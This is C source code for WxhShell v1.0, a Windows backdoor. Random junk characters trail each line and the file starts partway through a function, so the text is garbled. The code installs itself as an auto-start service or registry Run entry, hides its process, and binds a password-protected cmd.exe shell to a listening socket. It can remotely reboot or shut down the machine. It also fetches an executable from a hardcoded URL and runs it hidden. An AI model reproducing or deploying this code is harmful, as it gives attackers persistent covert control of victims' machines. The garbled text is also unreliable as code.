    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6b \&~b@T  
    if(Boot(SHUTDOWN)) 'ub@]ru|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  1HZO9cXJ  
    else { .=jay{  
    closesocket(wsh); b`O'1r\Y;  
    ExitThread(0); KNIn:K^/  
    } uGEfIy 2  
    break; V /V9B2.$  
    }  O+Y6N  
  // 获取shell 9c :cw  
  case 's': { ^qD$z=z-  
    CmdShell(wsh); (c &mCJN  
    closesocket(wsh); HqT#$}rv  
    ExitThread(0); ByNn  
    break; JHTSUq  
  } *.d)OOpLo  
  // 退出 oEKvl3Hz_  
  case 'x': { >_"an~Ss  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y ~!Zg}o  
    CloseIt(wsh); FSW_<%  
    break; <s<n  
    } AogVF  
  // 离开 y''z5['  
  case 'q': { GH:jH]u!V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !_'ur>iR  
    closesocket(wsh); lB vR+9Qw  
    WSACleanup(); qm8B8&-  
    exit(1); #-i>;Rt  
    break; 70tH:Z)"  
        } qwgPk9l  
  } pm0{R[:T7  
  } MPg)=LI  
9} M?P  
  // 提示信息 .Una+Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X296tA>C`  
} ryUQU^v  
  } 3/e.38m|  
[H^z-6x:0  
  return; iYm-tsER;  
} >T3-  
3z9d!I^>k  
// shell模块句柄 =O_4|7Zl  
int CmdShell(SOCKET sock) /quc}"__  
{ Tg)| or/ %  
STARTUPINFO si; [KaAXv .X  
ZeroMemory(&si,sizeof(si)); &LZn FR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vB|hZTW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dx{bB%?Y\=  
PROCESS_INFORMATION ProcessInfo; .A{tQ1&_  
char cmdline[]="cmd"; udUyh%n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YPK(be_|I  
  return 0; bj0G5dc=  
} 6/Xk7B  
l2rd9 -T  
// 自身启动模式 '(yAfL 9}  
int StartFromService(void) }mq6]ZrK  
{ `nv~NLkl  
typedef struct 7#ibN!  
{ 5Y'qaIFR  
  DWORD ExitStatus; LW'D?p#  
  DWORD PebBaseAddress; 9_rYBX  
  DWORD AffinityMask; ag#S6E^%S  
  DWORD BasePriority; +wvWwie  
  ULONG UniqueProcessId; ith 3 =`3  
  ULONG InheritedFromUniqueProcessId; [OV"}<V  
}   PROCESS_BASIC_INFORMATION; eH3JyzzP,  
w QH<gJE/:  
PROCNTQSIP NtQueryInformationProcess; k,E{C{^M  
5k3b3&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3kIN~/<R+7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (vPN5F  
LX7FaW  
  HANDLE             hProcess; % X+:o]T  
  PROCESS_BASIC_INFORMATION pbi; X!Mx5fg  
k)= X}=w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W*4-.*U8a  
  if(NULL == hInst ) return 0; V b4#,  
U;V7 u/{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4 \K7xM!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X_ cV%#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7he,?T)vD  
1i"WDu*h3  
  if (!NtQueryInformationProcess) return 0; pV +|o.<C  
3n1;G8Nf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7 60Y$/Wz  
  if(!hProcess) return 0; -p&" y3<p  
@ ZwvBH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yw[g!W  
[b<oDX#  
  CloseHandle(hProcess); P[#e/qnXu|  
KB,j7 ~V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %~JJ.&  
if(hProcess==NULL) return 0; /y#f3r+*2  
bv9]\qC]T<  
HMODULE hMod; C'@i/+  
char procName[255]; E7 Ul;d  
unsigned long cbNeeded; BB$>h}  
%lx!. G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b8VTo lJ  
v ~?qz5:K~  
  CloseHandle(hProcess); D|L9Vs`  
uR4z &y  
if(strstr(procName,"services")) return 1; // 以服务启动  E`0?  
HT cb_a  
  return 0; // 注册表启动 ,GIy q)  
} n;Q7X>-f8`  
/P3 <"?#k  
// 主模块 |=ba9&q  
int StartWxhshell(LPSTR lpCmdLine) V`d,qn)i  
{ _LUhZlw  
  SOCKET wsl; b-?gw64#  
BOOL val=TRUE; UiP"Ixg6  
  int port=0; GPv1fearl  
  struct sockaddr_in door; ~&_z2|UXp  
y`5 9A  
  if(wscfg.ws_autoins) Install(); ~i{(<.he  
AW'0,b`v  
port=atoi(lpCmdLine); Y;Dp3v !  
&|ex`nwc0  
if(port<=0) port=wscfg.ws_port; vY}g<*  
A_ZY=jP   
  WSADATA data; KVaiugQ   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S-b/S5  
Zw9FJ/Zn@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Xp% v.M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EhvX)s  
  door.sin_family = AF_INET; *?>T,gx}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PO^ij2eS  
  door.sin_port = htons(port); aEWWP]  
j#x6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fc3{sZE2M  
closesocket(wsl); cn3\kT*  
return 1; .bg~>T+<  
} `r':by0M  
/NFj(+&g+  
  if(listen(wsl,2) == INVALID_SOCKET) { (@VMH !3  
closesocket(wsl); nEy&>z  
return 1; k FD; i  
} n\'4  
  Wxhshell(wsl); ^*Q ?]N  
  WSACleanup(); T/~f~Zz  
g2ixx+`?|:  
return 0; hH 3RP{'=  
5d^sA;c  
} ]|a g  
7U"g3 a)=  
// 以NT服务方式启动 gPO}d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JR21>;l#2  
{ 6l x>>J!H  
DWORD   status = 0; $( kF#  
  DWORD   specificError = 0xfffffff; & h)yro  
FVbb2Y?R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _6hQ %hv8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7Q9 w?y~c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q"d^_z ]K  
  serviceStatus.dwWin32ExitCode     = 0; Bm<`n;m  
  serviceStatus.dwServiceSpecificExitCode = 0; bsli0FJSh'  
  serviceStatus.dwCheckPoint       = 0; yx[/|nZDC4  
  serviceStatus.dwWaitHint       = 0; rXP,\ ]r+  
lrE5^;/s1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Pmx -8w  
  if (hServiceStatusHandle==0) return; Mfuv0P~  
z&\a:fJ&  
status = GetLastError(); SKN`2hD  
  if (status!=NO_ERROR) _;y9$"A  
{ _ 4~+{l+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ll't>)  
    serviceStatus.dwCheckPoint       = 0; uH^-R_tQ  
    serviceStatus.dwWaitHint       = 0; \V63qg[  
    serviceStatus.dwWin32ExitCode     = status; V f&zL Sgr  
    serviceStatus.dwServiceSpecificExitCode = specificError; vA{-{Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h;"4+uw  
    return; :3Ox~o  
  } 0#hlsfc]\  
ADzhNf S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Wn2NMXK  
  serviceStatus.dwCheckPoint       = 0; ]_gU#,8  
  serviceStatus.dwWaitHint       = 0; q<|AZ2Ai  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =UQ3HQD  
} T!#GW/?  
J/$&NWF  
// 处理NT服务事件,比如:启动、停止 FW4<5~'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZLejcYS  
{ <%eG:n,#  
switch(fdwControl) $6 f3F?y7  
{ {;1\+ f  
case SERVICE_CONTROL_STOP: ;6$jf:2m  
  serviceStatus.dwWin32ExitCode = 0; %tGO?JMkd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r#a=@  
  serviceStatus.dwCheckPoint   = 0; _`T_">9r  
  serviceStatus.dwWaitHint     = 0; ZY+qA  
  { "!^"[mX4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T8$y[W-c  
  } _Fl9>C"u  
  return; )ez9"# MH'  
case SERVICE_CONTROL_PAUSE: |Rk@hzM2S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h2R::/2.  
  break; /U9"wvg  
case SERVICE_CONTROL_CONTINUE: 3s#N2X;Bc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F JyT+  
  break; } q8ASYNc  
case SERVICE_CONTROL_INTERROGATE: X \/#@T  
  break; ~]2K ^bh8&  
}; 6i/(5 nQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x%B/  
}  \4fQMG  
;i+jJ4  
// 标准应用程序主函数 xA*<0O\V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ' `Hr}  
{ bk[!8- b/a  
WNtW|I V  
// 获取操作系统版本 i/Zd8+.n$  
OsIsNt=GetOsVer(); (4nq>;$3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O=7CMbS3  
;2QP7PrSY  
  // 从命令行安装 &};zvo~P.  
  if(strpbrk(lpCmdLine,"iI")) Install(); <a3 WKw  
f/?P514h  
  // 下载执行文件 ~D>p0+-c  
if(wscfg.ws_downexe) { |FRg\#kf%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8}:nGK|kx  
  WinExec(wscfg.ws_filenam,SW_HIDE); CqC`8fD1  
} a%0EiU  
Nh +H9  
if(!OsIsNt) { hhvyf^o   
// 如果时win9x,隐藏进程并且设置为注册表启动 @H8EWTZ  
HideProc(); @=u3ZVD  
StartWxhshell(lpCmdLine); {)<v&'*c~  
} aN3;`~{9  
else 0"z9Q\{}  
  if(StartFromService()) wMN]~|z>  
  // 以服务方式启动  Vxt+]5X  
  StartServiceCtrlDispatcher(DispatchTable); ,a? o aPH  
else `Pnoxm'  
  // 普通方式启动 \~wMfP8  
  StartWxhshell(lpCmdLine); LDa1X2N  
 %;!.n{X  
return 0; [2cD:JL  
} *VN6cSq  
],].zlN  
/Z4et'Lo  
3G4-^hY<  
=========================================== OZ;*JR:  
/qw.p#  
\73ch  
tq?!-x+>  
Xn ;AZu^'R  
[Vt\$  
" U m+8"W  
@KAI4LP  
#include <stdio.h> 1BEHw?dLU  
#include <string.h> #e5\j\#.  
#include <windows.h> zdH kG_PT  
#include <winsock2.h> T[A 69O]v  
#include <winsvc.h> Wm5 dk9&x  
#include <urlmon.h> ct}9i"H#1  
E4xa[iZ  
#pragma comment (lib, "Ws2_32.lib") ,Y48[_ymm  
#pragma comment (lib, "urlmon.lib") cN9t{.m  
n'w.; q  
#define MAX_USER   100 // 最大客户端连接数 igAtRX%Qx  
#define BUF_SOCK   200 // sock buffer W@!S%Y9  
#define KEY_BUFF   255 // 输入 buffer @s^-.z  
1aABzB ^  
#define REBOOT     0   // 重启 S21,VpW\  
#define SHUTDOWN   1   // 关机 f y8Uk;  
X[TR3[1}  
#define DEF_PORT   5000 // 监听端口 >lM l  
`@|$,2[C  
#define REG_LEN     16   // 注册表键长度 ;jTN | i'  
#define SVC_LEN     80   // NT服务名长度 01o4Th m  
tklH@'q  
// 从dll定义API RCLeA=/N@0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q"_QQ~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GvlS%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;6hOx(>`=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dAe')N:KPI  
n?K  
// wxhshell配置信息 da~],MN  
struct WSCFG { Pr,q*_Yy  
  int ws_port;         // 监听端口 7T'B6`-Ox  
  char ws_passstr[REG_LEN]; // 口令 j 1HW._G  
  int ws_autoins;       // 安装标记, 1=yes 0=no HE_8(Ms ;8  
  char ws_regname[REG_LEN]; // 注册表键名 :p6M=  
  char ws_svcname[REG_LEN]; // 服务名 Ld-_,-n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *k>n<p3dd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8sK9G` k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9 JK Ew  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $, fX:x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y L~W.H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {2 "zVt#h  
9@)O_@=  
}; ;P&OX5~V  
@!d{bQd,  
// default Wxhshell configuration t@+}8^ M  
struct WSCFG wscfg={DEF_PORT, U|j`e5)  
    "xuhuanlingzhe", "G9xMffW  
    1, -;k+GrLr^  
    "Wxhshell", $a ` G  
    "Wxhshell", S?BG_J6A7  
            "WxhShell Service",  qA5r  
    "Wrsky Windows CmdShell Service", L\z~uo3:  
    "Please Input Your Password: ", CQDkFQq-dq  
  1, w917N 4$  
  "http://www.wrsky.com/wxhshell.exe", 2jCfT>`3  
  "Wxhshell.exe" IRqy%@)  
    }; KRKCD4  
QUQ'3  
// 消息定义模块 DrK{}uM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z>#i**  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0NX,QD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l0i^uMS  
char *msg_ws_ext="\n\rExit."; V,N%;iB}  
char *msg_ws_end="\n\rQuit."; 4x[S\,20  
char *msg_ws_boot="\n\rReboot..."; K8Y=S12Ti  
char *msg_ws_poff="\n\rShutdown..."; q?/a~a  
char *msg_ws_down="\n\rSave to "; ,L'zRyP  
vd4ytC  
char *msg_ws_err="\n\rErr!"; R<N ]B  
char *msg_ws_ok="\n\rOK!"; fXQNHZ|4  
Vj>8a)"B5a  
char ExeFile[MAX_PATH]; HT1!5  
int nUser = 0; ] {HI?V  
HANDLE handles[MAX_USER]; fPW@{~t  
int OsIsNt; cDH^\-z  
k7usMVAA  
SERVICE_STATUS       serviceStatus; %FIE\9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /J6rv((  
K:30_l<  
// 函数声明 ~Vjl7G\7i  
int Install(void); O]1(FWYy  
int Uninstall(void); GYUn6P  
int DownloadFile(char *sURL, SOCKET wsh); WbqWG^W  
int Boot(int flag); s#=7IH30  
void HideProc(void); J!U}iD@occ  
int GetOsVer(void); )~ h}  
int Wxhshell(SOCKET wsl); 7g}w+p>  
void TalkWithClient(void *cs); 9|CN8x-  
int CmdShell(SOCKET sock); )gy!GK  
int StartFromService(void); Pce;r*9  
int StartWxhshell(LPSTR lpCmdLine); x0w4)Ic5  
qR+!l(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I,@6J(9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =h73s0 ]  
U H/\  
// 数据结构和表定义 o"R7,N0rB  
SERVICE_TABLE_ENTRY DispatchTable[] = j Dv{/ )  
{ E#t>Qn  
{wscfg.ws_svcname, NTServiceMain}, bY QRBi  
{NULL, NULL} v9O~@v{=  
}; 9ahWIO %  
PGV/ h  
// 自我安装 mk+B9?;cF-  
int Install(void) F,)%?<!I  
{ +l{=  
  char svExeFile[MAX_PATH]; JKGe"  
  HKEY key; pYZ6e_j1 ~  
  strcpy(svExeFile,ExeFile); dP]\Jo=Yh  
eHNyNVz  
// 如果是win9x系统,修改注册表设为自启动 FNY8tv*/x  
if(!OsIsNt) { Av V|(K"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eu|;eP-+d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p/@smke  
  RegCloseKey(key); /9p wZ%:<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?[Q3q4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); en*GM}<V  
  RegCloseKey(key); G@jZ)2  
  return 0; 3r."j2$Hs0  
    } 9b"=9y,  
  } ~=RT*>G_  
} OL,TFLn4  
else { A='N=^Pm  
@{tz:f  
// 如果是NT以上系统,安装为系统服务 Y U5(g^<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e-#BDN(O  
if (schSCManager!=0) 9}F*P669f  
{ (~wqa 3  
  SC_HANDLE schService = CreateService ll.N^y;a  
  ( k=JrLfD4  
  schSCManager, "~7>\>UFh  
  wscfg.ws_svcname, yS(fILV  
  wscfg.ws_svcdisp, *>2W#D)b=  
  SERVICE_ALL_ACCESS, +:!7L= N#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]cZ!y ~  
  SERVICE_AUTO_START, }Nm#q@o$P  
  SERVICE_ERROR_NORMAL, >A"v ed8  
  svExeFile, p=GBUII #  
  NULL, yiC^aY=-  
  NULL, 5l2 ?  
  NULL, lc,tVe_  
  NULL, @As[k2  
  NULL ^2on.N q>  
  );  s ;oQS5Y  
  if (schService!=0) fS[,vPl  
  { _Wp{ [TH  
  CloseServiceHandle(schService); ``Dq  
  CloseServiceHandle(schSCManager); P.;aMRMR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QWSTR\!  
  strcat(svExeFile,wscfg.ws_svcname); > BY&,4r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lpeEpI/gM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dx &'fe*?  
  RegCloseKey(key); JedmaY06=  
  return 0; Raxrb=7  
    } t2I5hSf  
  } )Sg~[WxDv  
  CloseServiceHandle(schSCManager); UA8GL D9  
} zHL@i0>^  
} 4UlyxA~   
,)Ju[  
return 1; M/ni6%x  
} [los dnH^?  
=K{"{5Wb  
// 自我卸载 t.&Od;\[/  
int Uninstall(void) WDc+6/<  
{ %?uc><&?e  
  HKEY key; pP?MWe Eg  
!?p%xj?  
if(!OsIsNt) { u7\J\r4,+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hMUs" <.  
  RegDeleteValue(key,wscfg.ws_regname); RHq/JD-  
  RegCloseKey(key); SHbtWq}T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i;jw\ed  
  RegDeleteValue(key,wscfg.ws_regname); #PanfYR  
  RegCloseKey(key); ,TPISs  
  return 0; AW_(T\P:u  
  } F\AX :  
} C>$E%=h+_  
} e7(ucE  
else { `'c_=<&n  
#u"k~La  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a1.Ptf eW|  
if (schSCManager!=0) HA`@7I  
{ n\5RAIg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %D8ZO0J7H  
  if (schService!=0) ,(?po (']  
  { 7J|VD#DE$Y  
  if(DeleteService(schService)!=0) { k RD%b[*d  
  CloseServiceHandle(schService); PSVc+s[Q+V  
  CloseServiceHandle(schSCManager); ;SaX;!`39+  
  return 0; 9h%?QC  
  } T2Y,U {  
  CloseServiceHandle(schService); T G{k0cdOT  
  }  eDJ fU  
  CloseServiceHandle(schSCManager); >teO m?@U  
} 8 <7GdCME  
} (85Fv&a  
Q7C;1aO  
return 1; psC mbN   
} l)w Hl%p  
,FMx5$  
// 从指定url下载文件 S h,&{z!  
int DownloadFile(char *sURL, SOCKET wsh) CQr<N w  
{ vRxM4O~"  
  HRESULT hr; QgD g}\P  
char seps[]= "/"; I}t3 p|z  
char *token; ~7t$MF.  
char *file; .OqSch|  
char myURL[MAX_PATH]; *B\H-lp?  
char myFILE[MAX_PATH]; L%$|^T=%  
/`;n@0k>2  
strcpy(myURL,sURL); U uM$~qf/K  
  token=strtok(myURL,seps); _s$_Sa ;  
  while(token!=NULL) !>`N$-U X  
  { p=B>~CH  
    file=token; uy^   
  token=strtok(NULL,seps); k({\/t3i  
  } XfE -fH1j  
X3:XTuV   
GetCurrentDirectory(MAX_PATH,myFILE); A'K%WW*'U  
strcat(myFILE, "\\"); h:)Ci!D;  
strcat(myFILE, file); NU\ 5{N<  
  send(wsh,myFILE,strlen(myFILE),0); k@D0 {z  
send(wsh,"...",3,0); he-Ji  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rgf#wH%hN  
  if(hr==S_OK) ;HBC Ue<_  
return 0; qG/fE'(j&  
else {(#%N5%  
return 1; /?6|&  
\WrFqm#  
} 0\~Z5k`IT  
dg7=X{=9jv  
// 系统电源模块 z6~ H:k1G%  
int Boot(int flag) EQIo5  
{ 9 ASb>A2~  
  HANDLE hToken; ;t> Z+O%  
  TOKEN_PRIVILEGES tkp; ia{c  
Grz 3{U  
  if(OsIsNt) { 7"*|2Xq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CG&`16KN7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]G}B 0u3  
    tkp.PrivilegeCount = 1; zT* .jv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sNHSr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :9Y$'+ <&H  
if(flag==REBOOT) { ;C/bJEgdd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z ggB$5  
  return 0; i=32KI(%  
} JH]K/sC>  
else { 7ji=E";.w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YIp-Y}6  
  return 0; OAZ#|U   
} Bl1Z4` 3  
  } 8{Fm[ %"  
  else { Zx?b<"k  
if(flag==REBOOT) { Qc{RaMwD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UU}7U]9u  
  return 0; ) I@L+  
} =]Hs|{  
else { m>e3vu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]y)Q!J )Q  
  return 0; >1irSUj"~  
} dow^*{fqZ  
} VzRx%j/i  
b}zBn8l  
return 1; :PnSQjV:  
} jB^OP1  
;ggy5?>Qu  
// win9x进程隐藏模块 I/COqU7~  
void HideProc(void) xQlT%X;'  
{ I(n* _bFq  
jV7&Y.$zF]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9 K  
  if ( hKernel != NULL ) C@HD(..#  
  { af+}S9To  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T"E(  F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /k7wwZiY@  
    FreeLibrary(hKernel); *"G8  
  } JAn1{<Ky  
,R-Y~+!  
return; %XXkVK`  
} H^CilwD158  
s5Fr)q// !  
// 获取操作系统版本 ?SUQk55w  
int GetOsVer(void) j/<??v4F4  
{ iM64,wnA  
  OSVERSIONINFO winfo; J/4y|8T/y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o|2 87S|$  
  GetVersionEx(&winfo); ~Y/z=^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sdF3cX  
  return 1; \kwe51MQ  
  else i1/}XV  
  return 0; = ?N^>zie  
} ;x>;jS.t  
TJ2/?p\x  
// 客户端句柄模块 x9`ZO< L$  
int Wxhshell(SOCKET wsl) mM xHR$2  
{ \!X?zR_  
  SOCKET wsh; o?R,0 -  
  struct sockaddr_in client; 1e$[p[  
  DWORD myID; \FI^ Vk  
R;=6VH  
  while(nUser<MAX_USER) nJ# XVlHc  
{  $o+&Y5:  
  int nSize=sizeof(client); Q}uG/HI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t61'LCEis  
  if(wsh==INVALID_SOCKET) return 1; mahi7eU P  
r|8V @.@i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .xv ^G?GG  
if(handles[nUser]==0) rAatJc"0  
  closesocket(wsh); 59qnEIi  
else 2<.Vv\ =  
  nUser++; |\p5mh  
  } /Y^7Rl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lWl-@ *'  
Y_shy6" KH  
  return 0; 7+] F^ 6  
} v=bv@c  
s{%fi*  
// 关闭 socket xfU hSt  
void CloseIt(SOCKET wsh) NQ3|\<Wt  
{ $pBr &,  
closesocket(wsh); '!j(u@&!  
nUser--; h=wf>^l  
ExitThread(0); 0eaUorm)  
} [b pwg&Oo  
j<|6s,&  
// 客户端请求句柄  XDvq7ZD  
void TalkWithClient(void *cs) Kk56/(_S  
{ a:xgjUt&5  
V?WMj $l<  
  SOCKET wsh=(SOCKET)cs; c; d"XiA  
  char pwd[SVC_LEN]; n%8#?GC`  
  char cmd[KEY_BUFF]; F_~6n]Sr  
char chr[1]; ?-M)54b\  
int i,j; IM2/(N.%  
kt5YgW  
  while (nUser < MAX_USER) { _/8y1) I  
*@=fq|6l 2  
if(wscfg.ws_passstr) { d<)s@Ntgm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7j{Te)"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f>b!-|  
  //ZeroMemory(pwd,KEY_BUFF); {K6Kx36  
      i=0; jFS 'I*1+  
  while(i<SVC_LEN) { &?fvt  
2@OBeR  
  // 设置超时 QDl)92z  
  fd_set FdRead; .2{6h  
  struct timeval TimeOut; tgS+" ugl  
  FD_ZERO(&FdRead); <(ubZ  
  FD_SET(wsh,&FdRead); FK?mS>G6  
  TimeOut.tv_sec=8; ~m3V]v(q7  
  TimeOut.tv_usec=0; L)j]~^P$-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fj36K6!#?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p}cd}@cQ6  
a'o}u,e5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =ulr_i%Xs  
  pwd=chr[0]; |A2W8b {]  
  if(chr[0]==0xd || chr[0]==0xa) { v_[)FN"]Y.  
  pwd=0; :tg@HyY)  
  break; ,Uv{dG  
  } :K!GR  
  i++; k,yc>3P;U  
    } j P{:A9T\  
5? S{W  
  // 如果是非法用户,关闭 socket m[//_TFf]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); + 6i7,U  
} YY1{v?[  
m&(%&}g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )UxQf37  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OcyiL)tv5  
>F_qa=t%[  
while(1) { }D&"z8mP  
2D\x-!l/  
  ZeroMemory(cmd,KEY_BUFF); B Lsdx }  
nph7&[xQI  
      // 自动支持客户端 telnet标准   W o<PmSt9i  
  j=0; .I f"'hMY  
  while(j<KEY_BUFF) { ui0J}DM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e3oYy#QNk  
  cmd[j]=chr[0]; Y`E {E|J  
  if(chr[0]==0xa || chr[0]==0xd) { %B*<BgJ;4F  
  cmd[j]=0; :G6 xJlE|  
  break; y^0HCp{  
  } c,{&  
  j++; lN*1zM<6;  
    } i`ZHjW~`  
QI :/,w  
  // 下载文件 dvrvpDoE.  
  if(strstr(cmd,"http://")) { OXa5Jg}=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ah8^^h|TPJ  
  if(DownloadFile(cmd,wsh)) CrQA :_Z(7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @[[C s*-  
  else TA-(_jm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )f:!#v(K  
  } Aspj*CDu  
  else { h~^qG2TYWq  
0qotC6l~_w  
